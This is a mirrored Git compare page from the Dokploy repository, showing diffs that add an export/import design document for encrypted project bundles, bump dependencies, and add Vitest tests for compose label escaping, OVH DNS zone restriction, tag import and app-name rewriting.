mirror of
https://github.com/Dokploy/dokploy.git
synced 2026-10-15 21:31:11 +00:00
Compare commits
29 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 86e18f7149 | |||
| e0006758c0 | |||
| d9fe046396 | |||
| bfe24f89f9 | |||
| 502d6c8a18 | |||
| 9e87b9e401 | |||
| a7d8dff360 | |||
| 94f3815eb4 | |||
| 931f5c1335 | |||
| aae2dd9377 | |||
| fe3912dc4b | |||
| ccd26e946b | |||
| 29107d88fc | |||
| c7ee0430f7 | |||
| 3cc8158fdc | |||
| 726664ab3c | |||
| 20701ba272 | |||
| 412516d47b | |||
| b4681b318f | |||
| 0898642e32 | |||
| d2779136c5 | |||
| 0b537a815d | |||
| b329595370 | |||
| 2674eb200d | |||
| e8f236c9db | |||
| 9992659f24 | |||
| 88cb057e06 | |||
| 7289a3f68e | |||
| 5e0b021ec2 |
@@ -0,0 +1,250 @@
|
||||
# Export / Import
|
||||
|
||||
Move a project between Dokploy instances without recreating every
|
||||
application, database, domain and secret by hand.
|
||||
|
||||
- **Export** packages a project (or a subset of its environments/services)
|
||||
into a `.dokploy.tar.gz` bundle, encrypted with a passphrase.
|
||||
- **Import** reads a bundle back in, lets you resolve anything the
|
||||
destination is missing (a vault provider, a registry, a git provider...),
|
||||
and recreates the project.
|
||||
|
||||
Both share the same underlying engine
|
||||
(`packages/server/src/services/project-export-import/`), reachable from the UI (the
|
||||
projects page: "Export project" in a project's menu, "Import project" next to
|
||||
"Create project") or via the `projectExportImport.*` tRPC router. The HTTP routes
|
||||
for streaming the bundle live under `/api/project-export-import/`.
|
||||
|
||||
## Bundle format
|
||||
|
||||
A `.dokploy.tar.gz` produced by export is a small tar with four readable
|
||||
files and one encrypted payload:
|
||||
|
||||
- `manifest.json` (format version, when/who exported it, the `ExportScope`
|
||||
used, `sourceInstance` with the Dokploy version and release tag, whether the
|
||||
source was Dokploy Cloud, the Traefik and Node versions and the Docker
|
||||
server version of every server involved, and a public `crypto` block: salt,
|
||||
KDF params and a `keyCheck` that lets import verify a passphrase before
|
||||
touching anything else), `inventory.json`, `requirements.json` and
|
||||
`warnings.json`: what's in the bundle and what the destination needs to
|
||||
provide. The inventory also lists the Docker image of every database (and of
|
||||
every docker-sourced application); a floating tag is flagged with
|
||||
`IMAGE_TAG_NOT_PINNED` at export time.
|
||||
- `payload.enc`: everything else, AES-256-GCM encrypted with a key derived
|
||||
from the passphrase (scrypt). Inside it: `resources/{project,environments,
|
||||
services,shared}.json` with secret fields replaced by `$secret:<uuid>`,
|
||||
`secrets.json` with those values, `dumps.json` + `dumps/` (database dumps
|
||||
in "embed" mode), and `files/` (application sources, compose files, raw
|
||||
Traefik config, custom certificates, depending on the `ExportScope`). The
|
||||
GCM tag covers the whole payload, so any change to it makes the import fail
|
||||
with "incorrect passphrase or corrupted bundle".
|
||||
|
||||
None of this is a single flat YAML you can hand-edit end to end — the
|
||||
resource JSON is legible, but the secrets are encrypted in their own file by
|
||||
design (see "Secrets policy" below).
|
||||
|
||||
### Database dumps
|
||||
|
||||
`ExportScope.dumps.mode` controls how a service's data gets included:
|
||||
|
||||
- `"none"` (default) — only configuration is exported, no data.
|
||||
- `"embed"` — a dump per dumpable service (postgres/mysql/mariadb/mongo/
|
||||
libsql) is taken and stored inside the bundle itself. Mongo dumps the whole
|
||||
instance (a service has no single database) and restore skips `admin` and
|
||||
`config`; libsql tars sqld's `iku.db` directory and restore replaces it,
|
||||
then restarts the service.
|
||||
- `"referenceLastBackup"` — instead of dumping now, the bundle just records
|
||||
which destination/prefix already holds the service's last scheduled
|
||||
backup; import restores from there.
|
||||
|
||||
Dumps taken from a database inside a compose stack (scheduled backups with a
|
||||
`composeId`) travel in the bundle but are not restored automatically.
|
||||
|
||||
## Where the work happens
|
||||
|
||||
Every step that touches dumps or files runs inside a workspace, a
|
||||
`{ serverId, path }` pair under `project-export-import/` on one server. All
|
||||
file operations go through `remote-fs.ts`: same-server copies are a single
|
||||
shell command, copies between two servers stream through
|
||||
`pipeBetweenServers`, and `serverId: null` means the machine running Dokploy.
|
||||
|
||||
- **Export** builds the bundle where the data lives. On Dokploy Cloud that is
|
||||
always the project's server. Self-hosted, it is the remote server when every
|
||||
selected service runs on the same one, and the local disk otherwise. Dumps
|
||||
are written straight from the database's server into the workspace, the
|
||||
JSON files are streamed from memory, and the encryption runs in Dokploy's
|
||||
process as a stream (the payload passes through the control plane's network
|
||||
once in each direction, never through its disk). The finished bundle is
|
||||
uploaded to the destination with `rclone` from that same server, or served
|
||||
by the download route as a stream from wherever it sits.
|
||||
- **Import** unpacks and restores on the server you pick in the first step of
|
||||
the wizard (mandatory on Cloud, "Local server" by default self-hosted). The
|
||||
upload route streams the file straight to that server, "From a destination"
|
||||
runs `rclone` there, and dumps that already sit on the target server are
|
||||
restored in place without another copy.
|
||||
|
||||
## The Exports screen
|
||||
|
||||
`Settings → Exports` is the home for bundles kept in an S3 destination. Every
|
||||
export to a destination lands under a fixed `dokploy-export-import/`
|
||||
directory in the bucket, named `<project-slug>-<timestamp>.dokploy.tar.gz`,
|
||||
and the screen only ever lists that directory. From there you can:
|
||||
|
||||
- **Export** a single project or the whole organization to the selected
|
||||
destination. The organization option runs one full export per project, one
|
||||
after another, each built on the server where that project runs, all with
|
||||
the same passphrase. Every project gets its own bundle.
|
||||
- **Download** a bundle straight from the destination (Dokploy streams it
|
||||
with `rclone cat`, nothing is stored locally).
|
||||
- **Check passphrase** before downloading gigabytes: Dokploy reads only the
|
||||
first 4 MB of the object, pulls `manifest.json` out of it and verifies the
|
||||
passphrase against the manifest's key check. Bundles written before the
|
||||
public files were moved to the front of the archive report as uncheckable.
|
||||
- **Delete** a bundle from the destination.
|
||||
- **Import project** opens the usual import wizard; its "From a destination"
|
||||
tab lists the same directory.
|
||||
|
||||
## Versions
|
||||
|
||||
Export records where the bundle came from; import compares that against the
|
||||
destination and shows the result in the Unlock step (a source vs. destination
|
||||
table) and again in the plan warnings:
|
||||
|
||||
- `DOKPLOY_VERSION_MISMATCH` — a warning when the bundle was exported from a
|
||||
newer Dokploy than the destination (fields the destination doesn't know are
|
||||
dropped silently), an info note when it is older or when the two can't be
|
||||
compared (canary/feature tags).
|
||||
- `INSTANCE_KIND_MISMATCH` — the bundle crosses the Cloud/self-hosted boundary.
|
||||
- `TRAEFIK_VERSION_MISMATCH` — different Traefik versions; raw Traefik config
|
||||
copied from the bundle may need adjusting.
|
||||
- The destination checks run before "Start import" probe Docker on every
|
||||
target server and report a different major version next to the server.
|
||||
|
||||
Database engine versions are guaranteed by construction: each database is
|
||||
recreated from the exact `dockerImage` recorded in the bundle, so the only way
|
||||
to end up on a different version is a floating tag, which is what
|
||||
`IMAGE_TAG_NOT_PINNED` warns about.
|
||||
|
||||
## Import plan
|
||||
|
||||
- **Conflicts.** The plan detects domains, published ports, project names and
|
||||
networks that already exist at the destination, and the Review step lets you
|
||||
pick what to do with each one: rename (a new host, port, project name or
|
||||
network name), skip (import the domain disabled / don't publish the port /
|
||||
don't attach the network) or keep (reuse the existing network). Defaults are
|
||||
the safe ones: domains disabled, ports unpublished, project renamed to
|
||||
`<name> (imported)`, existing networks reused.
|
||||
- **Destination checks.** `importValidate` verifies app names are free on each
|
||||
target server, every server is reachable, and every reused vault/registry/
|
||||
destination actually connects. Failing checks block "Start import".
|
||||
- **Review secrets.** Credentials that rotation can't handle because they
|
||||
belong to systems outside Dokploy (basic auth, registry, destination keys,
|
||||
SSH keys, certificate keys) can be revealed and replaced before importing;
|
||||
basic-auth passwords can be regenerated in place.
|
||||
- **Deploy after import** is on by default and can be turned off to import
|
||||
configuration only.
|
||||
|
||||
## Secrets policy
|
||||
|
||||
- Every field in `SECRET_FIELDS` (passwords, tokens, private keys, basic-auth
|
||||
credentials, provider configs, ...) is redacted to `$secret:<uuid>` when a
|
||||
resource is captured; the real value only ever lives in an in-memory
|
||||
`secretsPlain` map.
|
||||
- `NEVER_EXPORT_FIELDS` (OAuth refresh tokens, git provider tokens, and a
|
||||
few other instance-specific values) are stripped outright and never
|
||||
travel in any form, even encrypted — see "Exclusions" below.
|
||||
- On export, `secretsPlain` goes into `secrets.json` inside the encrypted
|
||||
payload, next to the dumps and files; the key comes from the passphrase you
|
||||
provide (scrypt-based KDF) and the passphrase itself is never stored.
|
||||
- On import, the same passphrase decrypts the payload into the job's working
|
||||
directory, every `$secret:<uuid>` reference is resolved as each row is
|
||||
inserted, and the directory is removed when the job ends or expires.
|
||||
- **Database credentials can optionally be rotated on import — off by
|
||||
default.** A straight migration (e.g. cloud to self-hosted) usually wants
|
||||
the destination to behave exactly like the source, including its existing
|
||||
database credentials, so nothing outside Dokploy that already has the
|
||||
current password (an external app, a saved connection string) breaks.
|
||||
Checking "Rotate database credentials" in the import wizard (or setting
|
||||
`choices.rotateDatabaseCredentials: true` on `importPlan`) makes every
|
||||
imported database service get a freshly generated password (and root
|
||||
password, for mysql/mariadb); every other service's `env` is scanned for
|
||||
the old value (literal and URL-encoded forms) and rewritten to the new
|
||||
one. Services that don't reference the old password anywhere in their
|
||||
`env` produce a `ROTATION_CHECK_CONSUMERS` warning — they may be getting
|
||||
the credential some other way (an external secret) that this rotation
|
||||
can't see or fix. The scan covers the project and environment `env`, every
|
||||
service's `env`, application build args/secrets and preview variants, compose
|
||||
files and file mounts. Dumps taken from a system database (mysql
|
||||
`mysql`/`--all-databases`, mongo `admin`) may carry user accounts with the
|
||||
old password, which `ROTATION_DUMP_MAY_CONTAIN_USERS` points out. A
|
||||
password shorter than 8 characters, or equal to the database user or name,
|
||||
is left alone and reported as `ROTATION_SKIPPED_UNSAFE_PASSWORD`: a blind
|
||||
text replacement of such a value would also hit unrelated words.
|
||||
- **Secret overrides** made in the "Review secrets" step are sent as a whole
|
||||
set every time the wizard moves on; a secret dropped from the set goes back
|
||||
to the value that came out of the bundle, so "Reset" really does reset.
|
||||
- Mongo dumps cover the whole instance minus `admin` and `config`, so extra
|
||||
users or roles defined in `admin` are not recreated on import; the export
|
||||
says so with `MONGO_ADMIN_USERS_NOT_RESTORED`.
|
||||
|
||||
## Exclusions and deliberate limitations
|
||||
|
||||
Never exported, under any `ExportScope`:
|
||||
|
||||
- `refreshToken` and any git provider OAuth token (git providers themselves
|
||||
only travel as a `Requirement` you resolve on the destination, never as a
|
||||
copied resource).
|
||||
- `acme.json` (Traefik-managed Let's Encrypt certificates) — re-issued on
|
||||
deploy at the destination; the bundle only carries the domain's `host`.
|
||||
- Deployment/rollback history — build logs aren't service state.
|
||||
- Active preview deployments and their domains.
|
||||
- Real Docker volume data — only mount/volume *configuration* travels.
|
||||
- Redis data — there's no backup/restore mechanism for Redis in the
|
||||
codebase today.
|
||||
|
||||
Product limitations, deliberate rather than bugs:
|
||||
|
||||
- **Import never overwrites an existing project.** It always creates a new
|
||||
project or environment. To "replace" one: import as new, verify it, then
|
||||
delete the old one by hand.
|
||||
- Export is per-project — no whole-instance export (that's what Web Server
|
||||
Backup is for), no scheduled/recurring export, no diff between two
|
||||
exports.
|
||||
|
||||
|
||||
To duplicate an environment within the same project/instance, Dokploy already
|
||||
has a separate `environment.duplicate` tRPC procedure for it (it copies the
|
||||
environment shell and its env vars, not services) — it isn't part of this
|
||||
module. Its handler in `advanced-environment-selector.tsx` isn't currently
|
||||
wired to a button/menu item in the UI (pre-existing, not something this
|
||||
module adds or fixes).
|
||||
|
||||
## Known gaps
|
||||
|
||||
- `assertTransferPermission` gates every export/import action to
|
||||
organization owners and admins — there's no per-member grant the way
|
||||
environment access has one.
|
||||
- Vault provider assignments always get scoped to the new environment on
|
||||
import, even when the original assignment was project-wide — worth
|
||||
revisiting so a project-wide vault assignment doesn't get narrowed by
|
||||
accident.
|
||||
- Plan/billing limits cover environment count on import, but nothing yet
|
||||
stops an import from creating an arbitrary number of services or projects
|
||||
on a lower-tier plan.
|
||||
- A bundle's `resources` payload is only validated structurally as
|
||||
`Record<string, unknown>` per resource; the encryption tag proves the
|
||||
payload is what the exporter wrote, not that every resource has the shape
|
||||
`apply()` expects. Import validates the fields that reach a shell or the
|
||||
filesystem (destination flags, mount paths, volume names, ports); anything
|
||||
else that is off surfaces as a runtime error partway through the import.
|
||||
- The in-process rate limit (one active transfer per user, `rate-limit.ts`)
|
||||
and the periodic cleanup sweep are both scoped to a single server process.
|
||||
If Dokploy ever runs multiple server instances against the same database,
|
||||
neither protection reaches across processes — closing that for real would
|
||||
need a lock backed by Postgres, not local memory.
|
||||
- The encrypted payload streams through the Dokploy process during export
|
||||
and import (for the GCM cipher), so a bundle costs its size in control
|
||||
plane bandwidth twice, though never in disk.
|
||||
- The export preview's size estimates come from `du` and per-engine size
|
||||
queries run at preview time; a database whose container isn't running
|
||||
counts as 0.
|
||||
@@ -26,6 +26,7 @@ Dokploy includes multiple features to make your life easier.
|
||||
- **Templates**: Deploy open-source templates (Plausible, Pocketbase, Calcom, etc.) with a single click.
|
||||
- **Traefik Integration**: Automatically integrates with Traefik for routing and load balancing.
|
||||
- **Real-time Monitoring**: Monitor CPU, memory, storage, and network usage for every resource.
|
||||
- **Logs & Metrics**: Ship container logs and host/container metrics to Grafana (Loki, Prometheus/Mimir), Datadog, New Relic, InfluxDB, VictoriaMetrics, Better Stack, Elasticsearch/OpenSearch, Splunk, or AWS CloudWatch, tagged by project/environment/application.
|
||||
- **Docker Management**: Easily deploy and manage Docker containers.
|
||||
- **CLI/API**: Manage your applications and databases using the command line or through the API.
|
||||
- **Notifications**: Get notified when your deployments succeed or fail (via Slack, Discord, Telegram, Email, etc.).
|
||||
|
||||
@@ -10,12 +10,12 @@
|
||||
"typecheck": "tsc --noEmit"
|
||||
},
|
||||
"dependencies": {
|
||||
"inngest": "3.40.1",
|
||||
"inngest": "3.54.0",
|
||||
"@dokploy/server": "workspace:*",
|
||||
"@hono/node-server": "^1.14.3",
|
||||
"@hono/node-server": "^1.19.15",
|
||||
"@hono/zod-validator": "0.7.6",
|
||||
"dotenv": "^16.4.5",
|
||||
"hono": "^4.11.7",
|
||||
"hono": "^4.13.5",
|
||||
"pino": "9.4.0",
|
||||
"pino-pretty": "11.2.2",
|
||||
"react": "19.2.7",
|
||||
|
||||
@@ -33,8 +33,16 @@ services:
|
||||
volumes:
|
||||
test-data:
|
||||
`,
|
||||
composeId: "compose-1",
|
||||
name: "raw-stack",
|
||||
composePath: "./docker-compose.yml",
|
||||
composeType: "stack",
|
||||
environment: {
|
||||
environmentId: "env-1",
|
||||
name: "production",
|
||||
projectId: "project-1",
|
||||
project: { name: "shop", organizationId: "org-1" },
|
||||
},
|
||||
isolatedDeployment: false,
|
||||
isolatedDeploymentsVolume: false,
|
||||
randomize: false,
|
||||
@@ -54,6 +62,72 @@ volumes:
|
||||
},
|
||||
]);
|
||||
expect(converted?.services?.test?.tmpfs).toEqual(["/cache"]);
|
||||
expect(converted?.services?.test?.labels).toEqual(
|
||||
expect.arrayContaining([
|
||||
"dokploy.organization.id=org-1",
|
||||
"dokploy.project=shop",
|
||||
"dokploy.service=test",
|
||||
]),
|
||||
);
|
||||
expect(converted?.services?.test?.deploy?.labels).toEqual(
|
||||
expect.arrayContaining(["dokploy.organization.id=org-1"]),
|
||||
);
|
||||
expect(execAsyncRemote).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("escapes `$` in the Dokploy label values so compose keeps them literal", async () => {
|
||||
const compose = {
|
||||
appName: "dollar-stack",
|
||||
composeFile: `
|
||||
services:
|
||||
mapped:
|
||||
image: alpine:latest
|
||||
labels:
|
||||
custom: keep
|
||||
deploy:
|
||||
labels:
|
||||
custom: keep
|
||||
listed:
|
||||
image: alpine:latest
|
||||
labels:
|
||||
- custom=keep
|
||||
`,
|
||||
composeId: "compose-1",
|
||||
name: "app $DB_PASSWORD",
|
||||
composePath: "./docker-compose.yml",
|
||||
composeType: "stack",
|
||||
environment: {
|
||||
environmentId: "env-1",
|
||||
name: "env ${HOME}",
|
||||
projectId: "project-1",
|
||||
project: { name: "Budget $100", organizationId: "org-1" },
|
||||
},
|
||||
isolatedDeployment: false,
|
||||
isolatedDeploymentsVolume: false,
|
||||
randomize: false,
|
||||
serverId: null,
|
||||
sourceType: "raw",
|
||||
suffix: "",
|
||||
} as unknown as Parameters<typeof addDomainToCompose>[0];
|
||||
|
||||
const converted = await addDomainToCompose(compose, []);
|
||||
const escaped = {
|
||||
"dokploy.project": "Budget $$100",
|
||||
"dokploy.environment": "env $${HOME}",
|
||||
"dokploy.application": "app $$DB_PASSWORD",
|
||||
};
|
||||
|
||||
const mapped = converted?.services?.mapped;
|
||||
expect(mapped?.labels).toMatchObject({ custom: "keep", ...escaped });
|
||||
expect(mapped?.deploy?.labels).toMatchObject({
|
||||
custom: "keep",
|
||||
...escaped,
|
||||
});
|
||||
const listed = converted?.services?.listed;
|
||||
const asList = Object.entries(escaped).map(([k, v]) => `${k}=${v}`);
|
||||
expect(listed?.labels).toEqual(
|
||||
expect.arrayContaining(["custom=keep", ...asList]),
|
||||
);
|
||||
expect(listed?.deploy?.labels).toEqual(expect.arrayContaining(asList));
|
||||
});
|
||||
});
|
||||
|
||||
@@ -166,6 +166,16 @@ describe("ovhClient.listZones", () => {
|
||||
|
||||
await expect(ovhClient.listZones(cfg)).rejects.toThrow("Invalid signature");
|
||||
});
|
||||
|
||||
it("returns only the configured zone without listing every zone", async () => {
|
||||
const cfg = { ...freshConfig(), zone: "example.com" };
|
||||
mockApi();
|
||||
|
||||
const zones = await ovhClient.listZones(cfg);
|
||||
|
||||
expect(zones).toEqual([{ id: "example.com", name: "example.com" }]);
|
||||
expect(apiCalls()).toHaveLength(0);
|
||||
});
|
||||
});
|
||||
|
||||
describe("ovhClient.listRecords", () => {
|
||||
@@ -578,4 +588,55 @@ describe("ovhClient.testConnection", () => {
|
||||
"Invalid signature",
|
||||
);
|
||||
});
|
||||
|
||||
it("checks the configured zone instead of listing all zones", async () => {
|
||||
const cfg = { ...freshConfig(), zone: "example.com" };
|
||||
mockApi(ovhSuccess({ name: "example.com" }));
|
||||
|
||||
await expect(ovhClient.testConnection(cfg)).resolves.toBeUndefined();
|
||||
|
||||
const calls = apiCalls();
|
||||
expect(calls).toHaveLength(1);
|
||||
expect(calls[0]?.[0]).toBe(`${cfg.baseUrl}/domain/zone/example.com`);
|
||||
});
|
||||
});
|
||||
|
||||
describe("ovhClient with a configured zone", () => {
|
||||
const record = {
|
||||
type: "A" as const,
|
||||
name: "app.other.org",
|
||||
content: "1.2.3.4",
|
||||
};
|
||||
|
||||
it("refuses record operations on any other zone without calling OVH", async () => {
|
||||
const cfg = { ...freshConfig(), zone: "example.com" };
|
||||
mockApi();
|
||||
|
||||
const message = /restricted to the zone "example.com"/;
|
||||
await expect(ovhClient.listRecords(cfg, "other.org")).rejects.toThrow(
|
||||
message,
|
||||
);
|
||||
await expect(
|
||||
ovhClient.upsertRecord(cfg, { ...record, zoneId: "other.org" }),
|
||||
).rejects.toThrow(message);
|
||||
await expect(
|
||||
ovhClient.updateRecord(cfg, "other.org", "1", record),
|
||||
).rejects.toThrow(message);
|
||||
await expect(ovhClient.deleteRecord(cfg, "other.org", "1")).rejects.toThrow(
|
||||
message,
|
||||
);
|
||||
expect(apiCalls()).toHaveLength(0);
|
||||
});
|
||||
|
||||
it("still allows operations on the configured zone", async () => {
|
||||
const cfg = { ...freshConfig(), zone: "example.com" };
|
||||
mockApi(ovhSuccess(null), ovhSuccess(null));
|
||||
|
||||
await expect(
|
||||
ovhClient.deleteRecord(cfg, "example.com", "1"),
|
||||
).resolves.toBeUndefined();
|
||||
expect(apiCalls()[0]?.[0]).toBe(
|
||||
`${cfg.baseUrl}/domain/zone/example.com/record/1`,
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -0,0 +1,127 @@
|
||||
import { projects, projectTags, tags } from "@dokploy/server/db/schema";
|
||||
import type {
|
||||
Plan,
|
||||
Snapshot,
|
||||
TransferWriteDb,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { apply } from "@dokploy/server/services/project-export-import";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const snapshot: Snapshot = {
|
||||
manifest: {
|
||||
format: "dokploy-project-export",
|
||||
formatVersion: 1,
|
||||
exportedAt: "2024-01-01T00:00:00.000Z",
|
||||
exportedBy: { userId: "user-1", email: "a@b.com" },
|
||||
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
|
||||
scope: {
|
||||
includeEnvSecrets: true,
|
||||
shared: {},
|
||||
files: {
|
||||
applicationSources: true,
|
||||
composeFiles: true,
|
||||
traefikRaw: true,
|
||||
customCertificates: true,
|
||||
},
|
||||
dumps: { mode: "none" },
|
||||
includeBackupSchedules: true,
|
||||
},
|
||||
crypto: {
|
||||
salt: "c2FsdA==",
|
||||
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
|
||||
keyCheck: "{}",
|
||||
},
|
||||
counts: {},
|
||||
},
|
||||
resources: {
|
||||
project: {
|
||||
projectId: "project-src",
|
||||
name: "src",
|
||||
env: "",
|
||||
tags: [
|
||||
{ name: "prod", color: "#f00" },
|
||||
{ name: "billing", color: null },
|
||||
],
|
||||
},
|
||||
environments: [],
|
||||
services: [],
|
||||
shared: {},
|
||||
},
|
||||
requirements: [],
|
||||
warnings: [],
|
||||
dumps: [],
|
||||
};
|
||||
|
||||
const plan: Plan = {
|
||||
target: { kind: "newProject", name: "imported" },
|
||||
resolutions: {},
|
||||
serverMap: {},
|
||||
appNameMap: {},
|
||||
domainStrategy: { custom: "keep" },
|
||||
portsStrategy: "keep",
|
||||
rotateDatabaseCredentials: false,
|
||||
conflicts: [],
|
||||
pendingServices: [],
|
||||
warnings: [],
|
||||
validation: [],
|
||||
summary: { counts: {}, domains: 0, dumps: 0 },
|
||||
};
|
||||
|
||||
describe("apply project tags", () => {
|
||||
it("reuses an existing tag by name and creates the missing one", async () => {
|
||||
const inserted = new Map<unknown, Record<string, unknown>[]>();
|
||||
const writeDb = {
|
||||
query: {
|
||||
tags: {
|
||||
findFirst: async (args: {
|
||||
where: (f: unknown, o: unknown) => unknown;
|
||||
}) => {
|
||||
const captured: unknown[] = [];
|
||||
args.where(new Proxy({}, { get: (_t, prop) => String(prop) }), {
|
||||
and: (...v: unknown[]) => v,
|
||||
eq: (a: unknown, b: unknown) => captured.push([a, b]),
|
||||
});
|
||||
const nameArg = captured.find(
|
||||
(c) => (c as [unknown, unknown])[0] === "name",
|
||||
) as [unknown, string] | undefined;
|
||||
return nameArg?.[1] === "prod"
|
||||
? { tagId: "tag-existing", name: "prod" }
|
||||
: undefined;
|
||||
},
|
||||
},
|
||||
server: { findFirst: async () => undefined },
|
||||
webServerSettings: { findFirst: async () => undefined },
|
||||
},
|
||||
insert: (table: unknown) => ({
|
||||
values: (values: Record<string, unknown>) => {
|
||||
const row = { ...values };
|
||||
if (table === projects) row.projectId = "project-new";
|
||||
if (table === tags) row.tagId = "tag-new";
|
||||
const list = inserted.get(table) ?? [];
|
||||
list.push(row);
|
||||
inserted.set(table, list);
|
||||
return { returning: async () => [row] };
|
||||
},
|
||||
}),
|
||||
update: () => ({ set: () => ({ where: async () => {} }) }),
|
||||
transaction: async (fn: (tx: unknown) => Promise<unknown>) =>
|
||||
fn({ ...writeDb }),
|
||||
} as unknown as TransferWriteDb;
|
||||
|
||||
await apply(writeDb, snapshot, plan, new Map(), "org-dest");
|
||||
|
||||
expect(inserted.get(projects)?.[0]).not.toHaveProperty("tags");
|
||||
expect(inserted.get(tags)).toEqual([
|
||||
{
|
||||
name: "billing",
|
||||
color: null,
|
||||
organizationId: "org-dest",
|
||||
tagId: "tag-new",
|
||||
},
|
||||
]);
|
||||
expect(inserted.get(projectTags)).toEqual([
|
||||
{ projectId: "project-new", tagId: "tag-existing" },
|
||||
{ projectId: "project-new", tagId: "tag-new" },
|
||||
]);
|
||||
});
|
||||
});
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,92 @@
|
||||
import {
|
||||
regenerateAppName,
|
||||
replaceAppNames,
|
||||
rewriteSslipIoIp,
|
||||
rewriteVolumeName,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
describe("regenerateAppName", () => {
|
||||
it("strips the last hyphen segment and rebuilds a fresh suffix", () => {
|
||||
const result = regenerateAppName("application", "myapp-verb-noun-ab12cd");
|
||||
expect(result).not.toBe("myapp-verb-noun-ab12cd");
|
||||
expect(result.startsWith("myapp-verb-noun-")).toBe(true);
|
||||
});
|
||||
|
||||
it("handles an app name with no hyphen", () => {
|
||||
const result = regenerateAppName("application", "singleword");
|
||||
expect(result.startsWith("singleword-")).toBe(true);
|
||||
});
|
||||
|
||||
it("produces a different name on every call", () => {
|
||||
const first = regenerateAppName("application", "myapp-verb-noun-ab12cd");
|
||||
const second = regenerateAppName("application", "myapp-verb-noun-ab12cd");
|
||||
expect(first).not.toBe(second);
|
||||
});
|
||||
});
|
||||
|
||||
describe("replaceAppNames", () => {
|
||||
it("replaces a standalone app name reference", () => {
|
||||
const result = replaceAppNames("DEPLOY_TARGET=app-foo ready", {
|
||||
"app-foo": "app-bar",
|
||||
});
|
||||
expect(result).toBe("DEPLOY_TARGET=app-bar ready");
|
||||
});
|
||||
|
||||
it("does not touch a key that only matches mid-token (left boundary)", () => {
|
||||
const result = replaceAppNames("myapp-foo deployed", { foo: "bar" });
|
||||
expect(result).toBe("myapp-foo deployed");
|
||||
});
|
||||
|
||||
it("prefers the longest match when both names are in the map (prefix collision)", () => {
|
||||
const result = replaceAppNames("app-foo-bar and app-foo both here", {
|
||||
"app-foo": "short-renamed",
|
||||
"app-foo-bar": "long-renamed",
|
||||
});
|
||||
expect(result).toBe("long-renamed and short-renamed both here");
|
||||
});
|
||||
|
||||
it("returns the text unchanged when the map is empty", () => {
|
||||
expect(replaceAppNames("app-foo", {})).toBe("app-foo");
|
||||
});
|
||||
|
||||
it("returns null/empty text unchanged", () => {
|
||||
expect(replaceAppNames("", { "app-foo": "app-bar" })).toBe("");
|
||||
});
|
||||
});
|
||||
|
||||
describe("rewriteVolumeName", () => {
|
||||
it("reports rewritten: true when the name changes", () => {
|
||||
const result = rewriteVolumeName("app-foo-data", {
|
||||
"app-foo": "app-bar",
|
||||
});
|
||||
expect(result).toEqual({ value: "app-bar-data", rewritten: true });
|
||||
});
|
||||
|
||||
it("reports rewritten: false when nothing matches", () => {
|
||||
const result = rewriteVolumeName("unrelated-volume", {
|
||||
"app-foo": "app-bar",
|
||||
});
|
||||
expect(result).toEqual({ value: "unrelated-volume", rewritten: false });
|
||||
});
|
||||
});
|
||||
|
||||
describe("rewriteSslipIoIp", () => {
|
||||
it("swaps the trailing IP segment of an auto-generated sslip.io host for the destination's IP", () => {
|
||||
const result = rewriteSslipIoIp(
|
||||
"my-app-ab12cd-10-0-0-5.sslip.io",
|
||||
"203.0.113.9",
|
||||
);
|
||||
expect(result).toBe("my-app-ab12cd-203-0-113-9.sslip.io");
|
||||
});
|
||||
|
||||
it("leaves a non-sslip.io host untouched", () => {
|
||||
const result = rewriteSslipIoIp("api.example.com", "203.0.113.9");
|
||||
expect(result).toBe("api.example.com");
|
||||
});
|
||||
|
||||
it("leaves the host untouched when no destination IP is known", () => {
|
||||
const result = rewriteSslipIoIp("my-app-ab12cd-10-0-0-5.sslip.io", null);
|
||||
expect(result).toBe("my-app-ab12cd-10-0-0-5.sslip.io");
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,198 @@
|
||||
import { PassThrough } from "node:stream";
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
let sessionToReturn: {
|
||||
session: { activeOrganizationId: string } | null;
|
||||
user: { id: string } | null;
|
||||
} = {
|
||||
session: { activeOrganizationId: "org-1" },
|
||||
user: { id: "user-1" },
|
||||
};
|
||||
|
||||
vi.mock("@dokploy/server/lib/auth", () => ({
|
||||
validateRequest: vi.fn(() => Promise.resolve(sessionToReturn)),
|
||||
}));
|
||||
|
||||
const { streamBox } = vi.hoisted(() => ({
|
||||
streamBox: { content: Buffer.from("bundle bytes"), exitCode: 0 },
|
||||
}));
|
||||
|
||||
vi.mock(
|
||||
"@dokploy/server/services/project-export-import",
|
||||
async (importOriginal) => {
|
||||
const actual =
|
||||
await importOriginal<
|
||||
typeof import("@dokploy/server/services/project-export-import")
|
||||
>();
|
||||
const { PassThrough: Pass } = await import("node:stream");
|
||||
return {
|
||||
...actual,
|
||||
assertTransferPermission: vi.fn(async () => ({ role: "owner" })),
|
||||
findOrganizationDestination: vi.fn(
|
||||
async (destinationId: string, organizationId: string) => {
|
||||
if (destinationId === "dest-1" && organizationId === "org-1") {
|
||||
return { destinationId, bucket: "b", organizationId };
|
||||
}
|
||||
throw new Error("Destination not found");
|
||||
},
|
||||
),
|
||||
listBundles: vi.fn(async () => [
|
||||
{
|
||||
key: `${actual.EXPORTS_DIRECTORY}/p-1.dokploy.tar.gz`,
|
||||
size: streamBox.content.length,
|
||||
modTime: "2024-01-01T00:00:00.000Z",
|
||||
},
|
||||
]),
|
||||
streamBundleFromDestination: vi.fn(async () => {
|
||||
const stdout = new Pass();
|
||||
const stdin = new Pass();
|
||||
stdin.resume();
|
||||
process.nextTick(() => stdout.end(streamBox.content));
|
||||
return {
|
||||
stdin,
|
||||
stdout,
|
||||
stderr: new Pass(),
|
||||
exit: Promise.resolve(streamBox.exitCode),
|
||||
close: () => {},
|
||||
};
|
||||
}),
|
||||
};
|
||||
},
|
||||
);
|
||||
|
||||
const { assertTransferPermission, EXPORTS_DIRECTORY } = await import(
|
||||
"@dokploy/server/services/project-export-import"
|
||||
);
|
||||
const handler = (await import("../../pages/api/project-export-import/bundle"))
|
||||
.default;
